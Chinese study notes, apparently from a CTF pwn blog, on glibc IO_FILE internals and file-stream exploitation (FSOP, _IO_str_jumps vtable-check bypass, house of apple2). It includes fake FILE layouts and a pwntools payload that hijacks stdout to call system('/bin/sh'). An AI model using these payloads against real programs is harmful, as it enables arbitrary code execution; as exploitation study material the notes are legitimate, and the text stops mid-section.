2022/07/01 IO_FILE专题
IO_FILE 相关结构体
首先我们知道内核启动的时候默认打开3个I/O设备文件,标准输入文件stdin
,标准输出文件stdout
,标准错误输出文件stderr
,分别得到文件描述符 0, 1, 2,而这三个I/O文件的类型为指向FILE的指针,而FILE实际上就是_IO_FILE
typedef struct _IO_FILE FILE;
extern struct _IO_FILE *stdin; /* Standard input stream. */
extern struct _IO_FILE *stdout; /* Standard output stream. */
extern struct _IO_FILE *stderr; /* Standard error output stream. */
_IO_FILE *stdin = (FILE *) &_IO_2_1_stdin_;
_IO_FILE *stdout = (FILE *) &_IO_2_1_stdout_;
_IO_FILE *stderr = (FILE *) &_IO_2_1_stderr_;
其中_IO_2_1_stdin_
,_IO_2_1_stdout_
,_IO_2_1_stderr_
定义如下
extern struct _IO_FILE_plus _IO_2_1_stdin_;
extern struct _IO_FILE_plus _IO_2_1_stdout_;
extern struct _IO_FILE_plus _IO_2_1_stderr_;
_IO_2_1_stdin_,
_IO_2_1_stdout,_IO_2_1_stderr_
都是_IO_FILE_plus
结构体指针,除了这三个以外,还有一个_IO_list_all
也是_IO_FILE_plus
结构体指针,用来管理所有的`_IO_FILE
而_IO_2_1_stdin_
,_IO_2_1_stdout_
,_IO_2_1_stderr_
和_IO_list_all
都是通过_IO_FILE
结构体中的_chain
指针相连的,而_chain
指针也是一个_IO_FILE结构体指针
_IO_FILE_plus
结构体的定义为:
//in libio/libioP.h
struct _IO_FILE_plus
{
_IO_FILE file;
const struct _IO_jump_t *vtable;
};
_IO_FILE结构体详解
- 首先我们来讲讲其中的_IO_FILE结构体
struct _IO_FILE {
int _flags;
#define _IO_file_flags _flags
char* _IO_read_ptr; /* Current read pointer */
char* _IO_read_end; /* End of get area. */
char* _IO_read_base; /* Start of putback+get area. */
char* _IO_write_base; /* Start of put area. */
char* _IO_write_ptr; /* Current put pointer. */
char* _IO_write_end; /* End of put area. */
char* _IO_buf_base; /* Start of reserve area. */
char* _IO_buf_end; /* End of reserve area. */
/* The following fields are used to support backing up and undo. */
char *_IO_save_base; /* Pointer to start of non-current get area. */
char *_IO_backup_base; /* Pointer to first valid character of backup area */
char *_IO_save_end; /* Pointer to end of non-current get area. */
struct _IO_marker *_markers;
struct _IO_FILE *_chain;
int _fileno;
#if 0
int _blksize;
#else
int _flags2;
#endif
_IO_off_t _old_offset; /* This used to be _offset but it's too small. */
#define __HAVE_COLUMN /* temporary */
unsigned short _cur_column;
signed char _vtable_offset;
char _shortbuf[1];
/* char* _save_gptr; char* _save_egptr; */
_IO_lock_t *_lock;
#ifdef _IO_USE_OLD_IO_FILE
};
进程中FILE
结构通过_chain
域构成一个链表,链表头部为_IO_list_all
全局变量,默认情况下依次链接了stderr
,stdout
,stdin
三个文件流,并将新建的流插入到头部,vtable
虚表为_IO_file_jumps
。
(stderr,stdout,stdin 是指针里面存储了指向_IO_2_1_xxx的地址,而_IO_2_1_xxx 是结构体)
-
调试理解结构体里的成员
gdb调试得出以下:
pwndbg> fp 0x7f6e287e96a0 $2 = { file = { _flags = -72537977, _IO_read_ptr = 0x7f6e287e9723 <_IO_2_1_stdout_+131> "\n", _IO_read_end = 0x7f6e287e9723 <_IO_2_1_stdout_+131> "\n", _IO_read_base = 0x7f6e287e9723 <_IO_2_1_stdout_+131> "\n", _IO_write_base = 0x7f6e287e9723 <_IO_2_1_stdout_+131> "\n", _IO_write_ptr = 0x7f6e287e9723 <_IO_2_1_stdout_+131> "\n", _IO_write_end = 0x7f6e287e9723 <_IO_2_1_stdout_+131> "\n", _IO_buf_base = 0x7f6e287e9723 <_IO_2_1_stdout_+131> "\n", _IO_buf_end = 0x7f6e287e9724 <_IO_2_1_stdout_+132> "", _IO_save_base = 0x0, _IO_backup_base = 0x0, _IO_save_end = 0x0, _markers = 0x0, _chain = 0x7f6e287e8980 <_IO_2_1_stdin_>, _fileno = 1, _flags2 = 0, _old_offset = -1, _cur_column = 0, _vtable_offset = 0 '\000', _shortbuf = "\n", _lock = 0x7f6e287ea7e0 <_IO_stdfile_1_lock>, _offset = -1, _codecvt = 0x0, _wide_data = 0x7f6e287e8880 <_IO_wide_data_1>, _freeres_list = 0x0, _freeres_buf = 0x0, __pad5 = 0, _mode = -1, _unused2 = '\000' <repeats 19 times> }, vtable = 0x7f6e287e54a0 <_IO_file_jumps> 这不是重点,因为我们要讲的是_IO_FILE }
该结构体是
_IO_2_1_stdout_
,我们的关注如下:指针 描述 _IO_buf_base 输入输出缓冲区基地址 _IO_buf_end 输入输出缓冲区结束地址 _IO_write_base 输出缓冲区基地址 _IO_write_ptr 输出缓冲区基地址 _IO_write_end 输出缓冲区结束地址 其中,
_IO_buf_xxx
是由缓冲区建立函数_IO_doallocbuf
建立的。 在建立里输入输出缓冲区后,如果缓冲区作为输出缓冲区使用,会将基址址给_IO_write_base,结束地址给_IO_write_end,同时_IO_write_ptr表示为已经使用的地址。即_IO_write_base到_IO_write_ptr之间的空间是已经使用的缓冲区,_IO_write_ptr到_IO_write_end之间为剩余的输出缓冲区。对于别的成员,我学会就随时补上,嗯....
结构体成员 描述 _fileno 该_IO_file_的文件标识符 _chain _IO_file通过_chain相连,该成员记录下一个_IO_file的地址
vtable详解
- 对于_IO_FILE_plus 结构体中的虚表指针 vtable的结构体类型,定义如下:
struct _IO_jump_t
{
JUMP_FIELD(size_t, __dummy);
JUMP_FIELD(size_t, __dummy2);
JUMP_FIELD(_IO_finish_t, __finish);
JUMP_FIELD(_IO_overflow_t, __overflow);
JUMP_FIELD(_IO_underflow_t, __underflow);
JUMP_FIELD(_IO_underflow_t, __uflow);
JUMP_FIELD(_IO_pbackfail_t, __pbackfail);
/* showmany */
JUMP_FIELD(_IO_xsputn_t, __xsputn);
JUMP_FIELD(_IO_xsgetn_t, __xsgetn);
JUMP_FIELD(_IO_seekoff_t, __seekoff);
JUMP_FIELD(_IO_seekpos_t, __seekpos);
JUMP_FIELD(_IO_setbuf_t, __setbuf);
JUMP_FIELD(_IO_sync_t, __sync);
JUMP_FIELD(_IO_doallocate_t, __doallocate);
JUMP_FIELD(_IO_read_t, __read);
JUMP_FIELD(_IO_write_t, __write);
JUMP_FIELD(_IO_seek_t, __seek);
JUMP_FIELD(_IO_close_t, __close);
JUMP_FIELD(_IO_stat_t, __stat);
JUMP_FIELD(_IO_showmanyc_t, __showmanyc);
JUMP_FIELD(_IO_imbue_t, __imbue);
#if 0
get_column;
set_column;
#endif
};
JUMP_FIELD是一个接收两个参数的宏,前一个参数为类型名,后一个为变量名。结构体的前两个变量实际上不会被使用到,所以默认为0,其余的变量存储着不同的函数指针,在使用FILE结构体进行IO操作的过程中会通过这些函数指针调用到对应的函数。
所以这个函数表中有(24 - 5 + 1)个函数,分别完成IO相关的功能,由IO函数调用,如fwrite
最终会调用__write
函数,fread
会调用__doallocate
来分配IO
缓冲区等。
- gdb里看如下:
pwndbg> tele 0x7f6e287e54a0
00:0000│ 0x7f6e287e54a0 (_IO_file_jumps) ◂— 0x0
01:0008│ 0x7f6e287e54a8 (_IO_file_jumps+8) ◂— 0x0
02:0010│ 0x7f6e287e54b0 (_IO_file_jumps+16) —▸ 0x7f6e2868bf50 (_IO_file_finish) ◂— endbr64
03:0018│ 0x7f6e287e54b8 (_IO_file_jumps+24) —▸ 0x7f6 e2868cd80 (_IO_file_overflow) ◂— endbr64
04:0020│ 0x7f6e287e54c0 (_IO_file_jumps+32) —▸ 0x7f6e2868ca20 (_IO_file_underflow) ◂— endbr64
05:0028│ 0x7f6e287e54c8 (_IO_file_jumps+40) —▸ 0x7f6e2868df50 (_IO_default_uflow) ◂— endbr64
06:0030│ 0x7f6e287e54d0 (_IO_file_jumps+48) —▸ 0x7f6e2868f680 (_IO_default_pbackfail) ◂— endbr64
07:0038│ 0x7f6e287e54d8 (_IO_file_jumps+56) —▸ 0x7f6e2868b5d0 (_IO_file_xsputn) ◂— endbr64
pwndbg>
08:0040│ 0x7f6e287e54e0 (_IO_file_jumps+64) —▸ 0x7f6e2868b240 (__GI__IO_file_xsgetn) ◂— endbr64
09:0048│ 0x7f6e287e54e8 (_IO_file_jumps+72) —▸ 0x7f6e2868a860 (_IO_file_seekoff) ◂— endbr64
0a:0050│ 0x7f6e287e54f0 (_IO_file_jumps+80) —▸ 0x7f6e2868e600 (_IO_default_seekpos) ◂— endbr64
0b:0058│ 0x7f6e287e54f8 (_IO_file_jumps+88) —▸ 0x7f6e2868a530 (_IO_file_setbuf) ◂— endbr64
0c:0060│ 0x7f6e287e5500 (_IO_file_jumps+96) —▸ 0x7f6e2868a3c0 (_IO_file_sync) ◂— endbr64
0d:0068│ 0x7f6e287e5508 (_IO_file_jumps+104) —▸ 0x7f6e2867dc70 (_IO_file_doallocate) ◂— endbr64
0e:0070│ 0x7f6e287e5510 (_IO_file_jumps+112) —▸ 0x7f6e2868b5a0 (_IO_file_read) ◂— endbr64
0f:0078│ 0x7f6e287e5518 (_IO_file_jumps+120) —▸ 0x7f6e2868ae60 (_IO_file_write) ◂— endbr64
pwndbg>
10:0080│ 0x7f6e287e5520 (_IO_file_jumps+128) —▸ 0x7f6e2868a600 (_IO_file_seek) ◂— endbr64
11:0088│ 0x7f6e287e5528 (_IO_file_jumps+136) —▸ 0x7f6e2868a520 (_IO_file_close) ◂— endbr64
12:0090│ 0x7f6e287e5530 (_IO_file_jumps+144) —▸ 0x7f6e2868ae40 (_IO_file_stat) ◂— endbr64
13:0098│ 0x7f6e287e5538 (_IO_file_jumps+152) —▸ 0x7f6e2868f810 (_IO_default_showmanyc) ◂— endbr64
14:00a0│ 0x7f6e287e5540 (_IO_file_jumps+160) —▸ 0x7f6e2868f820 (_IO_default_imbue) ◂— endbr64
_IO_file_finish
_IO_file_overflow
_IO_file_underflow
_IO_default_uflow
_IO_default_pbackfail
_IO_file_xsputn
__GI__IO_file_xsgetn
_IO_new_file_xsputn
中,整体流程包含四个部分:
- 首先判断输出缓冲区还有多少剩余,如果有剩余则将目标输出数据拷贝至输出缓冲区。
- 如果输出缓冲区没有剩余(输出缓冲区未建立也是没有剩余)或输出缓冲区不够则调用
_IO_OVERFLOW
建立输出缓冲区或刷新输出缓冲区。 - 输出缓冲区刷新后判断剩余的目标输出数据是否超过块的size,如果超过块的size,则不通过输出缓冲区直接以块为单位,使用
new_do_write
输出目标数据。 - 如果按块输出数据后还剩下一点数据则调用
_IO_default_xsputn
将数据拷贝至输出缓冲区。
源码
_IO_size_t
_IO_new_file_xsputn (_IO_FILE *f, const void *data, _IO_size_t n)
{
_IO_size_t count = 0;
...
## 判断输出缓冲区还有多少空间
else if (f->_IO_write_end > f->_IO_write_ptr)
count = f->_IO_write_end - f->_IO_write_ptr; /* Space available. */
## 如果输出缓冲区有空间,则先把数据拷贝至输出缓冲区
if (count > 0)
{
if (count > to_do)
count = to_do;
...
memcpy (f->_IO_write_ptr, s, count);
f->_IO_write_ptr += count;
## 计算是否还有目标输出数据剩余
s += count;
to_do -= count;
主要功能就是判断输出缓冲区还有多少空间,若f->_IO_write_end
以及f->_IO_write_ptr
均为0,此时的输出缓冲区为0。
另一部分则是如果输出缓冲区如果仍有剩余空间的话,则将目标输出数据拷贝至输出缓冲区,并计算在输出缓冲区填满后,是否仍然剩余目标输出数据
待续...
_IO_file_seekoff
_IO_default_seekpos
_IO_file_setbuf
_IO_file_sync
_IO_file_doallocate
_IO_file_read
_IO_file_write
_IO_file_seek
_IO_file_close
_IO_file_stat
_IO_default_showmanyc
_IO_default_imbue
_IO_wide_data详解
-
除了上面两个之外,还有一个_IO_wide_data 结构体
struct _IO_wide_data { wchar_t *_IO_read_ptr; wchar_t *_IO_read_end; wchar_t *_IO_read_base; wchar_t *_IO_write_base; wchar_t *_IO_write_ptr; wchar_t *_IO_write_end; wchar_t *_IO_buf_base; wchar_t *_IO_buf_end; [...] const struct _IO_jump_t *_wide_vtable; };
Roderick师傅全会了估计是,以后请教他
_IO_FIlE的利用
FSOP
前言
举个exit()函数退出的例子,当exit发生时:
函数调用链为
- exit
- __run_exit_handlers
- fcloseall
- _IO_cleanup
- _IO_flush_all_lockp
- _IO_OVERFLOW(fp) (指调用vtable里固定偏移的一个函数,我们可以在此对vtable进行错位)
- _IO_new_file_overflow(即vtable里固定偏移的一个函数)
- _IO_OVERFLOW(fp) (指调用vtable里固定偏移的一个函数,我们可以在此对vtable进行错位)
- _IO_flush_all_lockp
- _IO_cleanup
- fcloseall
- __run_exit_handlers
其中fp的数据类型为_IO_FILE_plus
主要原理
劫持vtable
与_chain
,伪造IO_FILE
,主要利用方式为调用IO_flush_all_lockp()
函数触发。
-
IO_flush_all_lockp()
函数将在以下三种情况下被调用:libc
检测到内存错误,从而执行abort
函数时(在glibc-2.26
删除)。- 程序执行
exit
函数时。 - 程序从
main
函数返回时。 - house of kiwi(调用fllush(stderr),我们要将bss段上的stderr存储内容修改)
-
bypass:
fp->_mode = 0 fp->_IO_write_ptr > fp->_IO_write_base
-
调用过程
如下:
-
__run_exit_handlers
- fcloseall
- _IO_cleanup
- _IO_flush_all_lockp
- _IO_OVERFLOW(fp)
- _IO_new_file_overflow
- _IO_OVERFLOW(fp)
- _IO_flush_all_lockp
- _IO_cleanup
- fcloseall
其中_IO_OVERFLOW就是文件流对象虚表的第四项指向的内容_IO_new_file_overflow
利用
- 因此在
libc-2.23
版本下可如下构造,进行FSOP
:
因此在libc-2.23版本下可如下构造,进行FSOP:
._chain => chunk_addr
chunk_addr
{
file = {
_flags = "/bin/sh\x00", //对应此结构体首地址(fp)
_IO_read_ptr = 0x0,
_IO_read_end = 0x0,
_IO_read_base = 0x0,
_IO_write_base = 0x0,
_IO_write_ptr = 0x1,
...
_mode = 0x0, //一般不用特意设置
_unused2 = '\000' <repeats 19 times>
},
vtable = heap_addr
}
heap_addr
{
__dummy = 0x0,
__dummy2 = 0x0,
__finish = 0x0,
__overflow = system_addr,
...
}
因此这样构造,通过_IO_OVERFLOW (fp),我们就实现了system("/bin/sh\x00")。
因此这样构造,通过_IO_OVERFLOW (fp)
,我们就实现了system("/bin/sh\x00")
。
-
调用过程
如下:
-
__run_exit_handlers
- fcloseall
- _IO_cleanup
- _IO_flush_all_lockp
- _IO_OVERFLOW(fp)
- fake_IO_new_file_overflow(即system)(fp)
- _IO_OVERFLOW(fp)
- _IO_flush_all_lockp
- _IO_cleanup
- fcloseall
保护
libc-2.24
加入了对虚表的检查IO_validate_vtable()
与IO_vtable_check()
,若无法通过检查,则会报错:Fatal error: glibc detected an invalid stdio handle
。
#define _IO_OVERFLOW(FP, CH) JUMP1 (__overflow, FP, CH)
#define JUMP1(FUNC, THIS, X1) (_IO_JUMPS_FUNC(THIS)->FUNC) (THIS, X1)
# define _IO_JUMPS_FUNC(THIS) \
(IO_validate_vtable \
(*(struct _IO_jump_t **) ((void *) &_IO_JUMPS_FILE_plus (THIS) \
+ (THIS)->_vtable_offset)))
在最终调用vtable
的函数之前,内联进了IO_validate_vtable
函数,其源码如下:
static inline const struct _IO_jump_t * IO_validate_vtable (const struct _IO_jump_t *vtable)
{
uintptr_t section_length = __stop___libc_IO_vtables - __start___libc_IO_vtables;
const char *ptr = (const char *) vtable;
uintptr_t offset = ptr - __start___libc_IO_vtables;
if (__glibc_unlikely (offset >= section_length)) //检查vtable指针是否在glibc的vtable段中。
_IO_vtable_check ();
return vtable;
}
(嗯...看了看该函数处于不可修改的地址区域)
如何绕过
我们要知道glibc
中有一段完整的内存存放着各个vtable
,其中__start___libc_IO_vtables
指向第一个vtable
地址_IO_helper_jumps
,而__stop___libc_IO_vtables
指向最后一个vtable_IO_str_chk_jumps
结束的地址。若指针不在glibc
的vtable
段,会调用_IO_vtable_check()
做进一步检查,以判断程序是否使用了外部合法的vtable
(重构或是动态链接库中的vtable
),如果不是则报错。
我们伪造的vtable
在glibc
的vtable
段中,从而得以绕过该检查。
绕过思路
- 利用
_IO_str_jumps
中_IO_str_overflow()
函数 - 利用
_IO_str_jumps
中_IO_str_finish()
函数 - 利用
_IO_wstr_jumps
中对应的这两种函数(house of apple2)
利用_IO_str_jumps
这个vtable
_IO_str_finish函数
- _IO_str_jumps这个vtable的结构如下:
{
__dummy = 0,
__dummy2 = 0,
__finish <_IO_str_finish>,
__overflow <__GI__IO_str_overflow>,
__underflow <__GI__IO_str_underflow>,
__uflow <__GI__IO_default_uflow>,
__pbackfail <__GI__IO_str_pbackfail>,
__xsputn <__GI__IO_default_xsputn>,
__xsgetn <__GI__IO_default_xsgetn>,
__seekoff <__GI__IO_str_seekoff>,
__seekpos <_IO_default_seekpos>,
__setbuf <_IO_default_setbuf>,
__sync <_IO_default_sync>,
__doallocate <__GI__IO_default_doallocate>,
__read <_IO_default_read>,
__write <_IO_default_write>,
__seek <_IO_default_seek>,
__close <_IO_default_sync>,
__stat <_IO_default_stat>,
__showmanyc <_IO_default_showmanyc>,
__imbue <_IO_default_imbue>
}
-
我们需要关注的是_IO_str_finish函数
为啥需要关注呢?笔者觉得理由如下:
源码如下:
void _IO_str_finish (_IO_FILE *fp, int dummy)
{
if (fp->_IO_buf_base && !(fp->_flags & _IO_USER_BUF))
(((_IO_strfile *) fp)->_s._free_buffer) (fp->_IO_buf_base); //执行函数
fp->_IO_buf_base = NULL;
_IO_default_finish (fp, 0);
}
主要是
(((_IO_strfile *) fp)->_s._free_buffer) (fp->_IO_buf_base);
其中相关的_IO_str_fields
结构体与_IO_strfile_
结构体的定义:
struct _IO_str_fields
{
_IO_alloc_type _allocate_buffer;
_IO_free_type _free_buffer;
};
typedef struct _IO_strfile_
{
struct _IO_streambuf _sbf;
struct _IO_str_fields _s;
} _IO_strfile;
可以看到,它使用了IO
结构体中的值当作函数地址来直接调用,如果满足条件,将直接将fp->_s._free_buffer
当作函数指针来调用。
首先,仍然需要绕过之前的_IO_flush_all_lokcp
函数中的输出缓冲区的检查_mode<=0
以及_IO_write_ptr>_IO_write_base
进入到_IO_OVERFLOW
中。
我们可以将vtable
的地址覆盖成_IO_str_jumps-8
,这样会使得_IO_str_finish
函数成为了伪造的vtable
地址的_IO_OVERFLOW
函数(因为_IO_str_finish
偏移为_IO_str_jumps
中0x10
,而_IO_OVERFLOW
为0x18
)。这个vtable
(地址为_IO_str_jumps-8
)可以绕过检查,因为它在vtable
的地址段中。
构造好vtable
之后,需要做的就是构造IO FILE
结构体其他字段,以进入将fp->_s._free_buffer
当作函数指针的调用:先构造fp->_IO_buf_base
为/bin/sh
的地址,然后构造fp->_flags
不包含_IO_USER_BUF
,它的定义为#define _IO_USER_BUF 1
,即fp->_flags
最低位为0
。
最后构造fp->_s._free_buffer
为system_addr
或one gadget
即可getshell
。
由于libc
中没有_IO_str_jump
的符号,因此可以通过_IO_str_jumps
是vtable
中的倒数第二个表,用vtable
的最后地址减去0x168
定位。
也可以用如下函数进行定位:
# libc.address = libc_base
def get_IO_str_jumps():
IO_file_jumps_addr = libc.sym['_IO_file_jumps']
IO_str_underflow_addr = libc.sym['_IO_str_underflow']
for ref in libc.search(p64(IO_str_underflow_addr-libc.address)):
possible_IO_str_jumps_addr = ref - 0x20
if possible_IO_str_jumps_addr > IO_file_jumps_addr:
return possible_IO_str_jumps_addr
- payload
._chain => chunk_addr
chunk_addr
{
file = {
_flags = 0x0,
_IO_read_ptr = 0x0,
_IO_read_end = 0x0,
_IO_read_base = 0x0,
_IO_write_base = 0x0,
_IO_write_ptr = 0x1,
_IO_write_end = 0x0,
_IO_buf_base = bin_sh_addr,
...
_mode = 0x0, //一般不用特意设置
_unused2 = '\000' <repeats 19 times>
},
vtable = _IO_str_jumps-8 //chunk_addr + 0xd8 ~ +0xe0
}
+0xe0 ~ +0xe8 : 0x0
+0xe8 ~ +0xf0 : system_addr / one_gadget //fp->_s._free_buffer
重点是明白 哪个是存储函数调用的指针,哪个是参数
p/x &((_IO_strfile *) stdout)->_s._free_buffer
- 调用过程:
- __run_exit_handlers
- fcloseall
- _IO_cleanup
- _IO_flush_all_lockp
- _IO_OVERFLOW(fp) (fake_vtable)
- _IO_str_finish
- (((_IO_strfile *) fp)->_s._free_buffer) (fp->_IO_buf_base)
- _IO_str_finish
- _IO_OVERFLOW(fp) (fake_vtable)
- _IO_flush_all_lockp
- _IO_cleanup
- fcloseall
- __run_exit_handlers
_IO_str_overflow函数
int _IO_str_overflow (_IO_FILE *fp, int c)
{
int flush_only = c == EOF;
_IO_size_t pos;
if (fp->_flags & _IO_NO_WRITES)
return flush_only ? 0 : EOF;
if ((fp->_flags & _IO_TIED_PUT_GET) && !(fp->_flags & _IO_CURRENTLY_PUTTING))
{
fp->_flags |= _IO_CURRENTLY_PUTTING;
fp->_IO_write_ptr = fp->_IO_read_ptr;
fp->_IO_read_ptr = fp->_IO_read_end;
}
pos = fp->_IO_write_ptr - fp->_IO_write_base;
if (pos >= (_IO_size_t) (_IO_blen (fp) + flush_only))
{
if (fp->_flags & _IO_USER_BUF) /* not allowed to enlarge */
return EOF;
else
{
char *new_buf;
char *old_buf = fp->_IO_buf_base;
size_t old_blen = _IO_blen (fp);
_IO_size_t new_size = 2 * old_blen + 100;
if (new_size < old_blen)
return EOF;
new_buf
= (char *) (*((_IO_strfile *) fp)->_s._allocate_buffer) (new_size); // 调用了fp->_s._allocate_buffer函数指针
if (new_buf == NULL)
{
/* __ferror(fp) = 1; */
return EOF;
}
if (old_buf)
{
memcpy (new_buf, old_buf, old_blen);
(*((_IO_strfile *) fp)->_s._free_buffer) (old_buf);
/* Make sure _IO_setb won't try to delete _IO_buf_base. */
fp->_IO_buf_base = NULL;
}
memset (new_buf + old_blen, '\0', new_size - old_blen);
_IO_setb (fp, new_buf, new_buf + new_size, 1);
fp->_IO_read_base = new_buf + (fp->_IO_read_base - old_buf);
fp->_IO_read_ptr = new_buf + (fp->_IO_read_ptr - old_buf);
fp->_IO_read_end = new_buf + (fp->_IO_read_end - old_buf);
fp->_IO_write_ptr = new_buf + (fp->_IO_write_ptr - old_buf);
fp->_IO_write_base = new_buf;
fp->_IO_write_end = fp->_IO_buf_end;
}
}
if (!flush_only)
*fp->_IO_write_ptr++ = (unsigned char) c;
if (fp->_IO_write_ptr > fp->_IO_read_end)
fp->_IO_read_end = fp->_IO_write_ptr;
return c;
}
和之前利用_IO_str_finish
的思路差不多,可以看到其中调用了fp->_s._allocate_buffer
函数指针,其参数rdi
为new_size
,因此,我们将_s._allocate_buffer
改为system
的地址,new_size
改为/bin/sh
的地址,又new_size = 2 * old_blen + 100
,也就是new_size = 2 * _IO_blen (fp) + 100
可以找到宏定义:#define _IO_blen(fp) ((fp)->_IO_buf_end - (fp)->_IO_buf_base)
,因此new_size = 2 * ((fp)->_IO_buf_end - (fp)->_IO_buf_base) + 100
,故我们可以使_IO_buf_base = 0
,_IO_buf_end = (bin_sh_addr - 100) // 2
,当然还不能忘了需要绕过_IO_flush_all_lokcp
函数中的输出缓冲区的检查_mode<=0
以及_IO_write_ptr>_IO_write_base
才能进入到_IO_OVERFLOW
中,故令_IO_write_ptr = 0xffffffffffffffff
且_IO_write_base = 0x0
即可。
最终可按如下布局fake IO_FILE
:
._chain => chunk_addr
chunk_addr
{
file = {
_flags = 0x0,
_IO_read_ptr = 0x0,
_IO_read_end = 0x0,
_IO_read_base = 0x0,
_IO_write_base = 0x0,
_IO_write_ptr = 0x1,
_IO_write_end = 0x0,
_IO_buf_base = 0x0,
_IO_buf_end = (bin_sh_addr - 100) // 2,
...
_mode = 0x0, //一般不用特意设置
_unused2 = '\000' <repeats 19 times>
},
vtable = _IO_str_jumps //chunk_addr + 0xd8 ~ +0xe0
}
+0xe0 ~ +0xe8 : system_addr / one_gadget //fp->_s._allocate_buffer
参考payload
(劫持的stdout
):
new_size = libc_base + next(libc.search(b'/bin/sh'))
payload = p64(0xfbad2084)
payload += p64(0) # _IO_read_ptr
payload += p64(0) # _IO_read_end
payload += p64(0) # _IO_read_base
payload += p64(0) # _IO_write_base
payload += p64(0xffffffffffffffff) # _IO_write_ptr
payload += p64(0) # _IO_write_end
payload += p64(0) # _IO_buf_base
payload += p64((new_size - 100) // 2) # _IO_buf_end
payload += p64(0) * 4
payload += p64(libc_base + libc.sym["_IO_2_1_stdin_"])
payload += p64(1) + p64((1<<64) - 1)
payload += p64(0) + p64(libc_base + 0x3ed8c0) #lock
payload += p64((1<<64) - 1) + p64(0)
payload += p64(libc_base + 0x3eb8c0)
payload += p64(0) * 6
payload += p64(libc_base + get_IO_str_jumps_offset()) # _IO_str_jumps
payload += p64(libc_base + libc.sym["system"])
- 调用过程:
- __run_exit_handlers
- fcloseall
- _IO_cleanup
- _IO_flush_all_lockp
- _IO_OVERFLOW(fp) (fake_vtable)
- _IO_str_overflow
- (*((IO_strfile *) fp)->s._allocate_buffer) (new_size)
- _IO_str_overflow
- _IO_OVERFLOW(fp) (fake_vtable)
- _IO_flush_all_lockp
- _IO_cleanup
- fcloseall
- __run_exit_handlers
以上两个vtable的落幕
在libc-2.28
及以后,由于不再使用偏移找_s._allocate_buffer
和_s._free_buffer
,而是直接_s._allocate_buffer变成了malloc
,_s._free_buffer变成了free
,所以FSOP
也失效了。(指_IO_str_jumps / _IO_str_overflow 失效)
house of apple2(新的FSOP)
基本原理
正常stderr/stdin/stdout以_IO_file_overflow调用为例,glibc中调用的代码片段分析如下:
#define _IO_OVERFLOW(FP, CH) JUMP1 (__overflow, FP, CH)
#define JUMP1(FUNC, THIS, X1) (_IO_JUMPS_FUNC(THIS)->FUNC) (THIS, X1)
# define _IO_JUMPS_FUNC(THIS) (IO_validate_vtable (_IO_JUMPS_FILE_plus (THIS))) //检查vtable的合法性
IO_validate_vtable
函数负责检查vtable
的合法性,会判断vtable
的地址是不是在一个合法的区间。如果vtable
的地址不合法,程序将会异常终止。
那么我们可不可以查找一个vtable,它的vtable里没有IO_validate_vtable
呢?答案是找得到!
观察struct _IO_wide_data
结构体,发现其对应有一个_wide_vtable
成员
//in the stdio.h/_IO_wide_data
struct _IO_wide_data
{
wchar_t *_IO_read_ptr; /* Current read pointer */
wchar_t *_IO_read_end; /* End of get area. */
wchar_t *_IO_read_base; /* Start of putback+get area. */
wchar_t *_IO_write_base; /* Start of put area. */
wchar_t *_IO_write_ptr; /* Current put pointer. */
wchar_t *_IO_write_end; /* End of put area. */
wchar_t *_IO_buf_base; /* Start of reserve area. */
wchar_t *_IO_buf_end; /* End of reserve area. */
/* The following fields are used to support backing up and undo. */
wchar_t *_IO_save_base; /* Pointer to start of non-current get area. */
wchar_t *_IO_backup_base; /* Pointer to first valid character of
backup area */
wchar_t *_IO_save_end; /* Pointer to end of non-current get area. */
__mbstate_t _IO_state;
__mbstate_t _IO_last_state;
struct _IO_codecvt _codecvt;
wchar_t _shortbuf[1];
const struct _IO_jump_t *_wide_vtable;
};
在调用_wide_vtable
虚表里面的函数时,同样是使用宏去调用,仍然以vtable->_overflow
调用为例,所用到的宏依次为:
#define _IO_WOVERFLOW(FP, CH) WJUMP1 (__overflow, FP, CH)
#define WJUMP1(FUNC, THIS, X1) (_IO_WIDE_JUMPS_FUNC(THIS)->FUNC) (THIS, X1)
#define _IO_WIDE_JUMPS_FUNC(THIS) _IO_WIDE_JUMPS(THIS)
#define _IO_WIDE_JUMPS(THIS) \
_IO_CAST_FIELD_ACCESS ((THIS), struct _IO_FILE, _wide_data)->_wide_vtable
可以看到,在调用_wide_vtable
里面的成员函数指针时,没有关于vtable的合法性检查。
那么我们怎么查找属于_wide_vtable的vtable呢?
vscode打开输入_wide_vtable然后**查找所有引用**
注意到该_wide_vtable是属于_IO_wide_data,所以我们不能用_IO_str_jumps/_IO_str_overflow,我们就需要去找一个类似与_wide_vtable的vtable(默认为_IO_wfile_jumps,其他为_IO_wfile_jumps_mmap/_IO_wfile_jumps_maybe_mmap)
利用思路
_IO_wfile_overflow
对fp
的设置如下:
-
_flags
设置为~(2 | 0x8 | 0x800)
,如果不需要控制rdi
,设置为0
即可;如果需要获得shell
,可设置为sh;
,注意前面有两个空格(就是的第2个二进制位为0或者第3个或者第)(这个揭示了_flags会作为rdi) -
vtable设置为
-
_IO_wfile_jumps (libc.sym['_IO_wfile_jumps'])
-
_IO_wfile_jumps_mmap
-
_IO_wfile_jumps_maybe_mmap
以上vtable加减偏移,使其能成功_IO_wfile_overflow`即可
(我看demo 调试得2.27正常是call vtable + 0x68,从0x60到0x68要为调用地址,即_IO_wfile_sync)
-
-
_wide_data
设置为可控堆地址A
,即满足*(fp + 0xa0) = A
-
_wide_data->_IO_write_base
设置为0
,即满足*(A + 0x18) = 0
-
_wide_data->_IO_buf_base
设置为0
,即满足*(A + 0x30) = 0
-
_wide_data->_wide_vtable
设置为可控堆地址B
,即满足*(A + 0xe0) = B
-
_wide_data->_wide_vtable->doallocate
设置为地址C
用于劫持RIP
,即满足*(B + 0x68) = C
函数调用链如下:
_IO_wfile_overflow
_IO_wdoallocbuf
_IO_WDOALLOCATE
*(fp->_wide_data->_wide_vtable + 0x68)(fp)
_IO_wfile_underflow_mmap
对fp
的设置如下:
_flags
设置为~4
,如果不需要控制rdi
,设置为0
即可;如果需要获得shell
,可设置为sh;
,注意前面有个空格vtable
设置为_IO_wfile_jumps_mmap
地址(加减偏移),使其能成功调用_IO_wfile_underflow_mmap
即可_IO_read_ptr < _IO_read_end
,即满足*(fp + 8) < *(fp + 0x10)
_wide_data
设置为可控堆地址A
,即满足*(fp + 0xa0) = A
_wide_data->_IO_read_ptr >= _wide_data->_IO_read_end
,即满足*A >= *(A + 8)
_wide_data->_IO_buf_base
设置为0
,即满足*(A + 0x30) = 0
_wide_data->_IO_save_base
设置为0
或者合法的可被free
的地址,即满足*(A + 0x40) = 0
_wide_data->_wide_vtable
设置为可控堆地址B
,即满足*(A + 0xe0) = B
_wide_data->_wide_vtable->doallocate
设置为地址C
用于劫持RIP
